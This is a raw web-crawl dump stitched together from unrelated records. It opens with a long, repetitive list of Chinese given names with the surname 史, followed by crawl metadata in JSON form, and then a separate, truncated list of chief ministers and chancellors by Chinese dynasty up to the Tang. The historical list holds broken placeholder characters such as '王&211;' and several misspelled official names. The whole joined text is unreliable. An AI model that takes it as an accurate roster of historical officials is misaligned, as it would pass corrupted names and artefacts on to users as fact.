史大群 史又允 史如哲 史晨烨 史昕冉 史晓威 史金颍 史龙贤 史芸 史雨辰 史维静 史为静 史为婧 史丽娟 史立娟 史丽娟 史丽娟 史丽娟 史丽娟 史梦然 史佳浩 史春燕 史家昊 史佳昊 史嘉昊 史家浩 史佳皓 史家皓 史昊 史皓 史丽娟 史选 史晨薇 史赜源 史丽娟 史丰源 史羽诺 史若渝 史若暄 史羽偌 史偌羽 史秀珍 史昊阳 史逸飞 史家昊 史昊阳 史云琳 史可宾 史可宾 史玲芬 史政皓 史昊阳 史希宏 史京京 史锦 史佳怡 史佳仪 史淑学 史淑学 史淑学 史锦 史屹婷 史锐 史萧雅 史今 史运 史守娉 史佳豪 史建慧 史佳丽 史淑慧 史磊 史晶 史晨军 史佳慧 史佳涵 史淑慧 史志红 史芳玮 史淑学 史静 史宇涛 史巍伟 史天林 史天林 史桢 史印洮 史权 史加权 史迪文 史迪夫 史大伟 史新群 史素文 史秋艳 史雅萍 史跃龙 史阿芳 史云静 史恩增 史云露 史铁钧 史璐琰 史路坦 史亚鹏 史京京 史倩 史晋 史增保 史亚坤 史云璐 史俊楠 史俊楠 史国庆 史国庄 史海力 史慧 史玉涛 史学伟 史忠福 史永恒 史永胜 史永恒 史振 史蒂乐 史晟阳 史章立 史健立 史健良 史立洁 史郁晔 史羽诺 史忠良 史羽诺 史蒙 史健良 史展生 史占生 史忠良 史崇立 史金波 史欣可 史迪夫 史宇涛 史一惠 史一涵 史于山 史海新 史然 史晓风 史晓风 史佳妮 史贝宁 史腾岳 史柳 史禾妮 史玉璞 史书成 史晓强 史晓炎 史馨羽 史馨玉 史馨羽 史月梅 史婷 史美婷 史婷婷 史晓柯 史晓霞 史文静 史文婷 史太龙 史星雨 史忆唐 史崇良 史文英 史德刚 史国勇 史胜一 史胜毅 史亚萍 史磊 史水萍 史丽萍 史烜芃 史烜朴 史烜竹 史烜权 史烜朴 史桃旭 史桓旭 史化彩 史烜芃 史烜芝 史东玥 史淑杰 史明帅 史明师 史铭师 史铭帅 史伟然 史苇 史玮 史炜 史巍 史佳庚 史春蝶 史春玎 史春芳 史春妃 史春菲 史春绯 史春霏 史春芬 史春芙 史春鸽 史春闺 史春函 史春涵 史春荷 史春鹤 史春虹 史春环 史春焕 史春卉 史春荟 史春慧 史春娇 史春洁 史春婕 史春瑾 史春静 史春婧 史春涓 史春娟 史春鹃 史春珏 史春珂 史春岚 史春蕾 史春莉 史春俐 史春琳 史春玲 史春璐 史春渺 史春淼 史春盼 史春倩 史春晴 史春饶 史春蓉 史越 史春笙 史春姝 史春霜 史春婷 史春彤 史春婉 史春薇 史春雯 史春茜 史春晰 史春湘 史春香 史春秀 史笑凡 史春瑶 史春怡 史春莹 史春莺 史春钰 史春媛 史春晓 史春天 史一笑 史银萍 史春慧 史春娇 史春慧 史春婷 史春晓 史春莹 史春慧 史春娇 史春洁 史春天 史春静 史春晴 史春霜 史春婷 史春彤 史春雯 史春茜 史春晰 史春秀 史春瑶 史春莹 史春晓 史力 史芸 史治 史佳浩 史峰章 史苇 史娟 史佳跃 史佳越 史佳豪 史丽娟 史晓波 史久武 史载铭 史淑学 史作洲 史作水 史久武 史作修 史久武 史雨蕙 史泓 史海霞 史维 史为 史薇 史微 史唯 史燕凌 史羽科 史苇 史羽峰 史峰羽 史誉浓 史颗星 史振华 史晓舟 史建玲 史永胜 史红成 史冰冰 史小可 史洪华 史洪华 史诗淇 史玉洁 史洪华 史东森 史明涛 史耀勋 史瑞明 史志宏 史康宁 史宁 史小明 史铭畅 史酩畅 史鹏 史桐鸣 史皓匀 史宜灵 史碧芳 史继祥 史业荣 史丽娟 史萧冉 史诗节 史可 史小杰 史君梅 史晓平 史军梅 史桂龙 史新 史光浩 史亚东 史亮 史晨阳 史方琴 史方琴 史方琴 史慧敏 史慧敏 史彬斌 史岩 史菲阳 史先红 史誉浓 史强 史赜源 史桓宇 史洪霞 史艳杰 史彦杰 史洪霞 史鸿瑕 史久武 史梓淳 史建霆 史意维 史吖岙 史银燕 史敬明 史银燕 史久武 史玉柱 史晔 史立斌 史逸凡 史馨语 史先珊 史先彤 史作庥 史作冉 史作庥 史作永 史作玉 史胤琪 史胤琳 史胤熙 史胤麟 史作珏 史胤雯 史胤菱 史胤麟 史作浚 史作宁 史作令 史作立 史馨语 史逸凡 史逸麟 史作召 史作琅 史作栋 史先锋 史雅琳 史雅麟 史作白 史雅琳 史作林 史作承 史作宁 史佳鹭 史歆麟 史雅麟 史荣刚 史荣刚 史先珊 史晓帆 史恒旭 史永 史奕彤 史宛怡 史东升 史兰欣 史丽燕 史文婷 史志云 史展 史曙光 史恩增 史铁钧 史璐琰 史璐琰 史展 史曙光 史爱梅 史曙光 史素琴 史瑞珊 史璐琰 史紫媛 史翎杉 史瑞珊 史婷翎 史紫媛 史瑞彤 史瑞桐 史翎杉 史久武 史兴博 史国伟 史彩芬 史爱贞 史始师 史欣妍 史薇薇 史艺 史宗艺 史梦婕 史少姣 史源 史梦瑶 史明云 史杰 史杰 史郑乾 史琦 史杰 史晓艳 史江涛 史雨辰 史宇辰 史曙光 史璐琰 史瑞文 史韵文 史修来 史鸿燕 史佳骏 史霖鑫 史修来 史鸿燕 史柯欣 史可欣 史春凤 史瀚宇 史瀚文 史献芬 史飞英 史纵洋 史仲洋 史小圈 史诗 史哲 史可人 史红娜 史韵文 史建华 史源 史重青 史重庆 史如芸 史韵文 史玉成 史立成 史册 史玉城 史建成 史建城 史军成 史蕊绮 史建成 史君成 史连妹 史庭婷 史静成 史林轩 史梁君 史韵昕 史雅仪 史雅瑜 史轶晴 史茂呈 史建军 史沁灵 史永霞 史全勇 史全英 史亚蕾 史庭言 史军华 史军华 史均华 史兵兰 史峻 史倩 史家畅 史记 史畅 史家畅 史军华 史册 史雨炫 史荣伟 史苒谷 史萍 史雨烦 史渤 史宏川 史更生 史语馨 史箴语 史韵文 史洋阳 史阳洋 史文 史淼淼 史谢 史珂杰 史艮儿 史银儿 史莹儿 史斌文 史凤恩 史韵文 史慧萍 史程熙 史金贵 史梦晗 史君梅 史泉樱 史明锋 史大佑 史佳荷 史佳宇 史佳莲 史君梅 史美佳 史献芬 史亚轻 史爱兰 史伟 史勇 史鸿燕 史鸿炎 史国新 史国新 史国新 史宇 史国华 史雅彬 史延涛 史先珊 史先彤 史先婷 史先珊 史晓东 史小可 史晶晶 史艺婷 史艺冉 史吏 史佳艺 史春欣 史淼 史也奇 史蓓蓓 史东长 史岩松 史昊天 史皓天 史一秀 史金云 史金银 史金元 史浠恬 史金辉 史靖轩 史云 史玉洁 史凤瑞 史颖 史阳 史琳 史海生 史勤勤 史勤勤 史勤勤 史勤勤 史勤勤 史勤勤 史志强 史云飞 史力嘉 史东朔 史国庆 史占武 史筱伊 史慧萍 史存峰 史高松 史学丽 史高松 史育东 史育东 史利瑾 史云锋 史志龙 史秋衡 史利文 史希 史云锋 史一然 史静轩 史国锋 史静喧 史科英 史静宣 史科英 史敬轩 史敬萱 史如艳 史婧轩 史瑞 史英琪 史一蕾 史语言 史宇言 史豆芃 史豆 史松炳 史可立 史唱 史佟一 史佟 史引 史燕妮 史尼莫 史唱唱 史立 史尼 史莫 史诗 史向前 史盛楠 史新 史新 史玉枝 史丽萍 史轶晴 史丽萍 史韵昕 史雅仪 史丽萍 史艳超 史学英 史浚申 史学丽 史坤 史浩颐 史卫斌 史伟斌 史伟滨 史伟宾 史伟彬 史伟冰 史伟兵 史苒谷 史冉谷 史冉芸 史冉志 史冉谷 史苒志 史苒利 史苒前 史苒谷 史贵凤 史远征 史远征 史新 史素清 史天姿 史天卓 史新 史选冬 史哲飞 史之 史紫玉 史妙杰 史济平 史亚东 史莎丽 史小红 史筱鸿 史亚东 史久武 史莉敏 史雪媛 史晴 史梓铭 史桂芬 史磊 史长元 史国蓉 史万虎 史寅申 史贝琦 史梓铭 史东昀 史晓燕 史凯元 史丁丁 史吆兖 史韵兖 史璐 史雅馨 史一清 史一晴 史芮丁 史一卜 史沁点 史一五 史一七 史一范 史一变 史一湾 史国选 史纪强 史超英 史恒溥 史逸林 史钰 史粱鲚 史枫灏 史凤香 史梁伟 史淑英 史旭光 史明华 史萍 史和平 史蓉 史浈靳 史云义 史云 史天 史田 史春明 史俊强 史钚新 史家宏 史震宇 史明霞 史振宇 史振羽 史鹭 史强 史轩鹏 史雨轩 史卓林 史卓强 史卓义 史桂林 史贵林 史永 史恒旭 史永 史光浩 史冠华 史淳风 史福祯 史佳弋 史福祯 史吏 史晋兰 史春霞 史小芳 史天明 史维 史威 史佳华 史天明 史佳华 史浩然 史佳英 史佳芸 史佳颖 史佳秋 史佳穗 史佳绣 史佳蓉 史佳莹 史佳瑛 史佳蓉 史译文 史译文 史黎明 史黎明 史黎明 史黎明 史习成 史习诚 史佩林 史筌友 史曜齐 史筌友 史女恁 史习诚 史习成 史习诚 史习成 史习民 史雄英 史娟娟 史永刚 史祖能 史巍伟 史迪夫 史少康 史习成 史才荣 史建国 史傲 史天傲 史雨轩 史婧 史文集 史玉梅 史薇 史薇 史树林 史珏宁 史沁灵 史珏六 史嘉渝 史佳渝 史庆东 史玉梅 史梅英 史二蛋 史天平 史恒旭 史晓艳 史潇滟 史晓艳 史庆华 史宇轩 史庆华 史晓艳 史立文 史庆华 史旭东 史玉欣 史启禄 史言旭 史致远 史京豫 史桂节 史桂节 史惠芬 史京豫 史文斌 史晓月 史成亮 史一 史小虎 史小虎 史伟华 史一斌 史金云 史伟光 史广英 史广英 史英杰 史海东 史博 史博文 史瀚文 史瀚成 史瀚文 史瀚成 史瀚文 史瀚宇 史全戌 史威明 史明 史明明 史雨净 史永培 史俊浩 史明净 史昀竺 史柯 史坷 史钶 史玉轩 史雨炫 史玉轩 史俊浩 史雨轩 史俊浩 史雨轩 史大佑 史鸿玉 史尚奇 史尚琦 史英皓 史雨轩 史雨函 史雨轩 史雨函 史尚奇 史欣怡 史欣旖 史欣旖 史欣旖 史欣旖 史悦悦 史清香 史杰 史小易 史京 史晓易 史睿祺 史吉勇 史文轩 史吉勇 史佳文 史吉勇 史浩然 史吉勇 史沁 史慧 史后磊 史慧 史健全 史玉莲 史梦怡 史凯 史米娜 史晖 史峻 史涣灏 史莫灏 史灏 史天辰 史清苇 史苛昂 史策 史苒岑 史苒谷 史海波 史苛苇 史德轩 史佳禾 史继祖 史继德 史继祖 史丁丹 史惠芬 史霁 史志安 史美丽 史美玲 史凯 史泉樱 史华佳 史颖佳 史蓉佳 史如艳 史雪利 史佳颖 史佳芸 史佳蓉 史佳娇 史佳娆 史佳娴 史佳忱 史佳慧 史佳蕙 史佳卉 史天茗 史家渝 史田茗 史溢欣 史溢馨 史天鸣 史天明 史雪娟 史亚鸥 史佳渝 史嘉渝 史嘉渔 史嘉羽 史佳妤 史宝祥 史和祥 史嘉妤 史佳渝 史利隆 史富隆 史富盛 史荣达 史明达 史德强 史玉琳 史琼琳 史雯 史雯 史书杰 史春焱 史时勇 史建和 史和平 史卫华 史磊 史筱妍 史婧 史崇杰 史筱妍 史晓妍 史晓彦 史筱妍 史书馨 史舒畅 史朝婵 史岘轩 史乐涛 史乐朴 史会倩 史红梅 史培佳 史城逸 史安郎 史晓逸 史郎泽 史若成 史航岩 史学恩 史墨涵 史子正 史莫涵 史子童 史子轩 史乐天 史莫翰 史大涵 史韶伟 史景妍 史慕涵 史涵一 史一涵 史佑涵 史大涵 史小涵 史涵 史彦冰 史寒冰 史鹏飞 史佳柔 史佳吟 史佳敏 史敏佳 史佳纹 史建平 史敏俐 史城逸 史城逸 史城逸 史佳奇 史佳慧 史佳辉 史佳惠 史佳伶 史佳苓 史佳晖 史佳荟 史佳倩 史佳红 史佳泓 史佳靓 史佳莨 史佳凰 史佳茹 史佳娆 史佳俏 史佳生 史佳雯 史佳文 史兰竹 史佳玉 史玉兰 史兰颖 史慧敏 史艺华 史义华 史建民 史地 史云霄 史美轩 史丁丹 史保生 史雨晴 史雨欣 史雨鑫 史湘江 史军卫 史二小 史永刚 史苒岑 史大中 史尚泽 史宇十 史明宇 史大波 史孝玉 史尚奇 史季红 史小虎 史佳河 史雨函 史佳函 史宇函 史佳涵 史明宇 史明函 史雨轩 史尚奇 史晴 史德铭 史诗 史宇佳 史佳禾 史成名 史佳函 史炜栋 史澈 史悦 史全珀 史易可 史桓安 史宝莲 史朝婵 史城逸 史敏丽 史建龙 史月香 史雯熙 史珩卓 史学范 史学范 史学范 史王 史学范 史学范 史航卓 史学范 史长廷 史克宇 史卓航 史嫱 史若成 史学莲 史克雷 史恩吉 史学范 史学英 史伊 史俊杰 史军卫 史雷生 史伟 史伟 史沅铮 史语瞳 史派迪 史海琴 史婧 史婧 史宁远 史晓军 史颖红 史湘莹 史湘滢 史晓伦 史颖红 史艳东 史桂芬 史琴波 史琴波 史雨轩 史文宏 史梦丽 史少为 史小鸣 史潇鸣 史晓鸣 史萧鸣 史啸鸣 史崤鸣 史箫鸣 史坚 史天林 史绍菊 史国吣 史虫 史松 史泰龙 史中玉 史秋 史文轩 史力娜 史君瑜 史昭璞 史凤璋 史鸿题 史旭初 史泽远 史兆鹏 史永靖 史凤杰 史郅平 史松岩 史景焕 史庆杰 史鸣玉 史洛枫\n本文链接:https:\/\/www.cags.net.cn\/202305\/2501.html\n发布于:2023-05-27,除非注明,否则均为原创文章,转载请注明出处。","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.cags.net.cn\/202305\/2501.html","date":"2023-06-02T08:06:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648465.70\/warc\/CC-MAIN-20230602072202-20230602102202-00320.warc.gz","language":"lzh","language_score":0.8034362793,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.803436279296875, \"cmn_Hani_score\": 0.112218476831913, \"nan_Hani_score\": 0.04927339777350426, \"yue_Hani_score\": 0.033265553414821625}","num_words":1987,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.806,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"没有最还的,因为每个人的评价标准不一样。 就象改革是张居正 管仲 善谋是萧何 军事才能诸葛亮 我这有全的,自己挑吧 春秋战国 管仲 伍子胥(官职为相国) 商鞅 张仪 魏冉 范雎 吕不韦 秦朝 王绾 李斯 冯去疾 赵高 西汉 高帝朝 1人 萧何:汉初三杰之一 惠帝朝 3人 曹参 陈平 王陵 高后朝 1人 审食其 文帝朝 4人 周勃 陈平 灌婴 景帝朝 4人 陶青 周亚夫 卫绾 刘舍 武帝朝 13人 卫绾 窦婴 许昌 田鼢 薛泽 公孙弘 李蔡 庄青翟 赵周 石庆 公孙贺 刘屈牦 田千秋 昭帝朝 霍光:以大将军、录尚书事总理朝政 4人 田千秋 王&211; 杨敞 蔡义 宣帝朝 霍禹、霍山:霍光死后以大将军、录尚书事总理朝政,前66年被杀 5人 韦贤 魏相 丙吉 黄霸 于定国 元帝朝 史高、萧望之:以录尚书事总理朝政 2人 韦玄成 匡衡 成帝朝 王凤、王音、王商、王根、王莽:以大将军、录尚书事总理朝政 王商 张禹 薛宣 翟方进 孔光 哀帝朝 师丹、傅喜、丁明、傅赏、韦赏、董贤:以大司马、录尚书事总理朝政 朱博 平当 王嘉 孔光 马宫 平帝朝 王莽:总理朝政 平晏 新朝王莽 王寻 张邯 更始刘玄 刘演 刘赐 李松 东汉 光武朝 邓禹 吴汉 王梁 宋弘 伏湛 侯霸 李通 马成 韩歆 窦融 戴涉 蔡茂 朱浮 刘隆 杜林 张纯 玉况 赵熹 冯勒 冯鲂 李&211; 明帝朝 赵熹 冯鲂 李&211; 虞延 郭丹 范迁 伏恭 牟融 周泽 邢穆 王敏 鲍昱 章帝朝 赵熹 牟融 鲍昱 第五伦 桓虞 邓彪 郑弘 宋由 袁安 任瑰 和帝朝 窦宪 宋由 袁安 任瑰 丁鸿 尹睦 刘方 张酺 张奋 吕盖 韩棱 巢堪 张禹 徐防 鲁恭 陈宠 殇帝朝 邓骘 张禹 徐防 陈宠 梁鲔 尹勤 安帝朝 邓骘 张禹 徐防 鲁恭 梁鲔 尹勤 周章 张敏 夏勤 李修 刘恺 司马苞 马英 袁敞 李郃 陈褒 杨震 刘授 刘憙 冯石 阎显 顺帝朝 梁商 梁冀 刘授 刘憙 冯石 李郃 陶敦 朱宠 朱伥 刘光 许敬 张皓 庞参 王龚 刘崎 孔夫 黄尚 王卓 郭虔 刘寿 桓焉 赵戒 赵峻 胡广 李固 冲帝朝 梁冀 赵戒 赵峻 胡广 李固 质帝朝 梁冀 赵戒 胡广 李固 桓帝朝 梁冀 赵戒 胡广 李固 袁汤 杜乔 张歆 吴雄 黄琼 房植 尹颂 韩演 孙朗 祝恬 盛允 虞放 种皓 刘矩 刘宠 杨秉 许栩 周景 陈蕃 刘茂 宣酆 灵帝朝 窦武 胡广 陈蕃 刘矩 刘宠 许栩 周景 宣酆 王畅 闻人袭 刘嚣 许训 郭禧 桥玄 李咸 来艳 宗俱 袁隗 杨赐 段颎 唐珍 陈耽 刘逸 刘宽 陈球 孟戫 张颢 袁滂 袁逢 刘郃 张济 许戫 邓盛 张温 崔烈 张延 许相 丁宫 曹嵩 樊陵 马日磾 刘弘 刘虞 何进 献帝朝 董卓 刘虞 杨彪 黄琬 荀爽 赵谦 种拂 马日磾 淳于嘉 王允 皇甫嵩 周忠 朱俊 赵温 张喜 曹操 曹丕 三国 蜀汉 昭烈帝朝 诸葛亮 后主朝 诸葛亮 蒋琬 费祎 董允 吕乂 姜维 陈袛 董厥 樊建 诸葛瞻 孙吴 大帝朝 孙邵 顾雍 陆逊 步骘 阚泽 朱据 废帝朝 诸葛恪 孙峻 孙綝 景帝朝 孙綝 濮阳兴 末帝朝 濮阳兴 陆凯 万彧 张悌 曹魏 文帝朝 贾诩 王朗 华歆 钟繇 夏侯敦 曹仁 曹休 曹真 明帝朝 王朗 华歆 钟繇 曹休 陈群 董昭 卫臻 陈矫 韩暨 崔林 曹宇 曹爽 司马懿 齐王朝 孙资 刘放 卫臻 曹爽 司马懿 满宠 蒋济 赵俨 高柔 王凌 孙礼 司马孚 司马师 郑冲 高贵乡公朝 司马孚 司马师 司马昭 高柔 郑冲 卢毓 诸葛诞 王昶 元帝朝 司马昭 王昶 王观 王祥 钟会 邓艾 何曾 荀顗 司马望 司马炎 西晋 武帝朝 贾充 王沈 裴秀 荀勖 武陔 羊祜 李熹 司马伷 司马圭 司马亮 司马晃 司马泰 王业 李胤 卢钦 山涛 刘毅 王浑 胡奋 朱整 卫瓘 魏舒 杨骏 杨珧 惠帝朝 杨骏 杨珧 华廙 王浑 荀恺 何劭 卫瓘 张华 裴頠 王戎 王衍 崔随 乐广 羊玄之 荀藩 司马亮 司马晃 司马泰 司马彤 司马繇 司马越 司马伦 司马颖 王湛 高光 怀帝朝 司马越 王衍 高光 荀藩 和郁 郑球 傅袛 山简 刘暾 曹馥 愍帝朝 索綝 司马保 司马睿 东晋 元帝朝 王导 王敦 刁协 司马羕 周顗 荀菘 王邃 纪瞻 荀组 明帝朝 王导 陆晔 司马羕 荀菘 纪瞻 郗鉴 卞壶 邓牧 陆玩 诸葛恢 戴邈 成帝朝 王导 苏峻 祖约 庾亮 庾冰 何充 孔愉 王舒 王彬 褚翜 陆晔 司马羕 荀菘 纪瞻 郗鉴 卞壶 邓牧 陆玩 诸葛恢 康帝朝 庾冰 何充 诸葛恢 蔡谟 顾和 穆帝朝 何充 诸葛恢 蔡谟 顾和 顾众 谢尚 周闵 江斑 司马昱 王彪之 哀帝朝 桓温 司马昱 王彪之 王述 废帝朝 桓温 司马昱 王彪之 王述 简文帝朝 桓温 王彪之 孝武帝朝 桓温 王彪之 谢安 谢石 谢玄 谢琰 王劭 王蕴 王珣 陆纳 司马恬 司马道子 安帝朝 司马道子 司马元显 桓玄 王国宝 王珣 王雅 王谧 何澄 孔安国 孔靖 孟昶 桓谦 谢琨 谢裕 刘柳 刘耽 袁湛 刘道怜 王弘 司马德文 刘穆之 徐羡之 刘裕 恭帝朝 徐羡之 刘裕 南朝 刘宋 武帝朝 徐羡之 傅亮 少帝朝 徐羡之 傅亮 谢晦 文帝朝 徐羡之 傅亮 王弘 王敬弘 郑鲜之 江夷 殷景仁 王球 刘宏 何尚之 褚湛之 徐湛之 王僧达 刘恢 刘义康 刘义庆 刘义宣 刘义恭 孝武帝朝 刘义恭 何尚之 褚湛之 刘延孙 刘秀之 王僧达 萧思活 刘遵考 刘宏 戴法兴 柳元景 刘恢 前废帝朝 刘义恭 刘祎 刘昶 柳元景 颜师伯 明帝朝 谢庄 刘祎 刘休仁 刘休范 王景文 蔡兴宗 袁粲 褚渊 后废帝朝 王景文 蔡兴宗 袁粲 褚渊 刘秉 王僧虔 萧缅 萧道成 顺帝朝 袁粲 褚渊 刘秉 王僧虔 王延之 柳世隆 何戢 萧道成 南齐 高帝朝 褚渊 萧嶷 王俭 王延之 萧嵩 武帝朝 王俭 王延之 萧嵩 李安民 王奂 柳世隆 萧嶷 萧晔 萧子良 郁林王朝 萧子良 王晏 谢胐 徐孝嗣 萧鸾 萧锵 萧铄 海陵王朝 萧鸾 萧锵 王晏 徐孝嗣 萧子懋 萧子明 萧钧 萧铉 沈文季 何胤 明帝朝 王晏 徐孝嗣 萧铉 沈文季 萧昭粲 东昏侯朝 沈文季 徐孝嗣 江祏 王亮 王莹 任昉 萧昭粲 萧坦之 萧惠休 萧遥光 萧懿 和帝朝 王亮 王莹 任昉 萧颖胄 萧衍 南梁 武帝朝 沈约 范云 谢胐 王亮 王莹 王志 萧秀 萧憺 柳惔 王份 袁昂 夏侯详 王茂 王暕 张稷 张充 柳仲礼 张缵 徐勉 何敬容 谢举 王骞 王克 朱异 萧宏 萧樽 萧伟 萧伦 萧渊藻 侯景 简文帝朝 王克 柳仲礼 萧会理 萧恪 侯景 元帝朝 张绾 王褒 王僧辩 萧恪 敬帝朝 王冲 王通 王劢 王僧辩 陈霸先 南陈 武帝朝 王通 沈众 文帝朝 王通 王劢 谢哲 到仲举 王固 沈君理 陈顼 废帝朝 陈顼 王通 谢哲 到仲举 袁枢 沈钦 宣帝朝 袁简懿 沈钦 徐陵 谢嘏 袁宪 张种 王劢 王玚 沈君理 周弘正 陆缮 陈伯固 陈伯恭 王克 孔奂 后主朝 陈伯恭 陈伯智 陈叔卿 袁宪 徐陵 谢伷 蔡征 姚察 江总 十六国 前秦 王猛 北朝 北魏 道武帝朝 长孙嵩 拓跋仪 拓跋遵 崔逞 崔宏 拓跋嗣 明元帝朝 长孙嵩 拓跋屈 崔宏 崔浩 奚斤 拓跋焘 车路头 王洛儿 卢鲁元 太武帝朝 长孙嵩 崔浩 刘洁 罗洁 鲁元 安原 古弼 屈垣 屈道赐 兰延 韩茂 长孙渴侯 文成帝朝 长孙渴侯 刘泥 元乐寿 尉眷 和其奴 韩茂 闾毗 常英 目辰 古弼 兰延 闾昆 于洛拔 献文帝朝 乙浑 和其奴 目辰 叔孙邻 拓跋丕 白曜 孝文帝朝 目辰 拓跋丕 陈建 穆亮 陆睿 李冲 陆俊 赵黑 张佑 元忠 王袭 元羽 元赞 元澄 尉元 楼毅 穆太 元详 元嘉 宣武帝朝 王肃 元澄 元详 元嘉 源怀 穆亮 高肇 郭祚 元雍 元怿 元英 元珍 孝明帝朝 元雍 郭祚 元晖 于忠 李平 李崇 元澄 元晖 元钦 元纂 元修义 元彧 元乂 元延明 元徽 元略 元顺 元罗 萧宝寅 长孙稚 游肇 皇甫度 崔亮 陆丽 孝庄帝朝 尔朱荣 元彧 元谌 元延明 元徽 元略 元顺 元罗 元诲 元顼 穆绍 于晖 樊子鹄 魏兰根 源子恭 郑先护 长广王朝 尔朱兆 尔朱世隆 元亶 元罗 长孙稚 元宝炬 节闵帝朝 尔朱兆 尔朱世隆 元罗 长孙稚 魏兰根 元谌 孙腾 元宝炬 安定王朝 高欢 孙腾 侯景 高盛 魏兰根 孝武帝朝 高欢 孙腾 元罗 高隆之 长孙稚 辛雄 任祥 元宝炬 樊子鹄 魏兰根 贾显度 宇文泰 东魏 高欢 高澄 高洋 高隆之 高岳 司马子如 封祖裔 封隆之 慕容绍宗 元坦 元弼 元旭 元斌 元嶷 元悰 元暹 元韶 孙腾 侯景 薛琡 元晖业 北齐 文宣帝朝 杨愔 高隆之 元韶 段韶 薛琡 崔暹 高归彦 贺拔仁 高淹 高演 高涣 高湛 废帝朝 杨愔 高睿 高归彦 高德正 燕子献 崔昂 刘洪徽 高浟 高演 高湛 高湜 高孝琬 孝昭帝朝 高浟 高湛 高湜 高归彦 高睿 刘洪徽 武成帝朝 高浟 高湝 高润 高归彦 高睿 段韶 高孝琬 高长恭 刘洪徽 尉粲 魏收 斛律光 赵彦深 高普 后主朝 高睿 段韶 高孝珩 高长恭 斛律光 赵彦深 高普 高俨 尉瑾 元文遥 徐之才 高仁坚 许季良 高绍义 胡长仁 贺拔仁 魏收 冯子琮 皮景和 高贞 许敦 段孝言 娄定远 和士开 唐邕 祖珽 高阿那肱 穆提婆 高元海 高劢 高宝德 阳休之 安德王朝 高阿那肱 穆提婆 高元海 唐邕 段孝言 阳休之 韩晋明 鲜于世荣 幼主朝 高阿那肱 高元海 阳休之 鲜于世荣 西魏 文帝朝 宇文泰 斛斯椿 万俟洛 元昺 元孚 元季海 梁御 赵善 周惠达 元纪 长孙俭 申徽 于谨 元赞 元子孝 尉迟迥 独孤信 废帝朝 宇文泰 申徽 杨宽 尉迟迥 元子孝 李远 恭帝朝 宇文泰 独孤信 元子孝 李远 柳庆 贺兰祥 豆卢宁 侯莫陈崇 韦孝宽 北周 孝闵帝朝 宇文护 赵贵 独孤信 李弼 明帝朝 宇文护 侯莫陈崇 于谨 武帝朝 宇文护 侯莫陈崇 于谨 宇文贵 宇文宪 宇文直 宇文亮 宣帝朝 宇文俭 宇文盛 宇文亮 长孙览 静帝朝 于翼 宇文盛 宇文贞 王谊 刘昉 郑译 杨坚 隋朝 文帝朝 宰相十六人 高颎 赵煚 虞庆则 李德林 柳机 苏威 赵芬 杨爽 杨素 杨雄 杨达 杨广 杨秀 杨昭 杨暕 柳述 炀帝朝 宰相十二人 苏威 杨素 杨达 萧琮 杨文思 杨约 宇文述 元寿 裴矩 裴蕴 萧瑀 虞世基 恭帝朝 李渊 皇泰帝朝 王世充 段达 元文都 卢楚 王世恽 皇甫无逸 郭文懿 赵长文 李密 秦王朝 宇文化及 宇文智及 裴矩 宇文士及 封德彝 唐朝 高祖朝 宰相十六人 李世民 裴寂 刘文静 萧瑀 窦威 窦抗 陈叔达 杨恭仁 封德彝 裴矩 高士廉 李元吉 宇文士及 长孙无忌 杜如晦 房玄龄 太宗朝 宰相二十九人 裴寂 萧瑀 陈叔达 李靖 封德彝 宇文士及 长孙无忌 杜如晦 房玄龄 高士廉 温彦博 岑文本 魏征 侯君集 杨师道 戴胄 刘洎 李世绩 张亮 马周 褚遂良 崔仁师 杨宏礼 王圭 杜淹 杨恭仁 许敬宗 高季辅 张行成 高宗朝 宰相四十七人 长孙无忌 褚遂良 于志宁 张行成 高季辅 李世绩 柳奭 宇文节 韩瑗 来济 崔敦礼 李义府 许敬宗 杜正伦 辛茂将 任雅相 卢承庆 许圉师 上官仪 刘祥道 窦德元 乐彦玮 孙处约 姜恪 陆敦信 戴至德 刘仁轨 杨武 李安期 张文瓘 赵仁本 阎立本 李敬元 郝处俊 来恒 薛元超 李义琰 高智周 张大安 裴炎 王德真 崔知温 郭待举 岑长倩 郭正一 魏元同 刘齐贤 则天朝 宰相七十八人 刘仁轨 薛元超 郭正一 姚元崇 裴炎 袁恕己 敬晖 岑长倩 郭待举 魏元同 刘齐贤 韦宏敏 桓彦范 王德真 刘袆之 武承嗣 骞味道 崔察 李景谌 韦方质 沉君谅 裴居道 韦思谦 苏良嗣 韦待价 张光辅 王本立 范履冰 邢文伟 武攸宁 傅游艺 史务滋 宗秦客 格辅元 乐思诲 任知古 欧阳通 裴行本 狄仁杰 杨执柔 李游道 袁智宏 崔神基 崔元综 李昭德 姚崇 李元素 王璇 娄师德 韦巨源 陆元方 豆卢钦望 苏味道 王孝杰 武什方 杨再思 杜景佺 周允元 孙元亨 李道广 王方庆 王及善 宗楚客 武三思 吉顼 李峤 张锡 韦安石 李怀远 顾琮 李迥秀 朱敬则 唐休璟 韦嗣立 崔元暐 张柬之 房融 韦承庆 中宗朝 宰相三十八人 刘景先 岑长倩 郭待举 韦宏敏 崔元暐 杨再思 张柬之 房融 韦承庆 袁恕己 桓彦范 敬晖 武三思 祝钦明 魏元忠 李怀远 豆卢钦望 韦巨源 李峤 于惟谦 苏瑰 宗楚客 萧至忠 纪处讷 张仁亶 韦嗣立 崔湜 赵彦昭 韦温 郑愔 张锡 裴谈 岑羲 张嘉福 睿宗朝 宰相二十五人 李隆基 李峤 萧至忠 张仁亶 韦嗣立 赵彦昭 韦安石 苏瑰 唐休璟 裴谈 张锡 岑羲 崔湜 刘幽求 钟绍京 李日知 薛稷 姚元之 崔日用 宋璟 郭元振 张说 窦怀贞 魏知古 陆象先 玄宗朝 宰相三十四人 刘幽求 韦安石 魏知古 崔湜 陆象先 窦怀贞 岑羲 萧至忠 郭元振 张说 姚元之 卢怀慎 源干曜 宋璟 苏颋 张嘉贞 王晙 李元纮 杜暹 萧嵩 宇文融 裴光庭 韩休 裴耀卿 张九龄 李林甫 牛仙客 李适之 陈希烈 杨国忠 韦见素 崔圆 房管 崔涣 肃宗朝 宰相十六人 韦见素 崔圆 房管 裴冕 崔涣 李麟 苗晋卿 张镐 王玙 吕諲 李岘 第五琦 李揆 萧华 裴遵庆 元载 代宗朝 宰相十二人 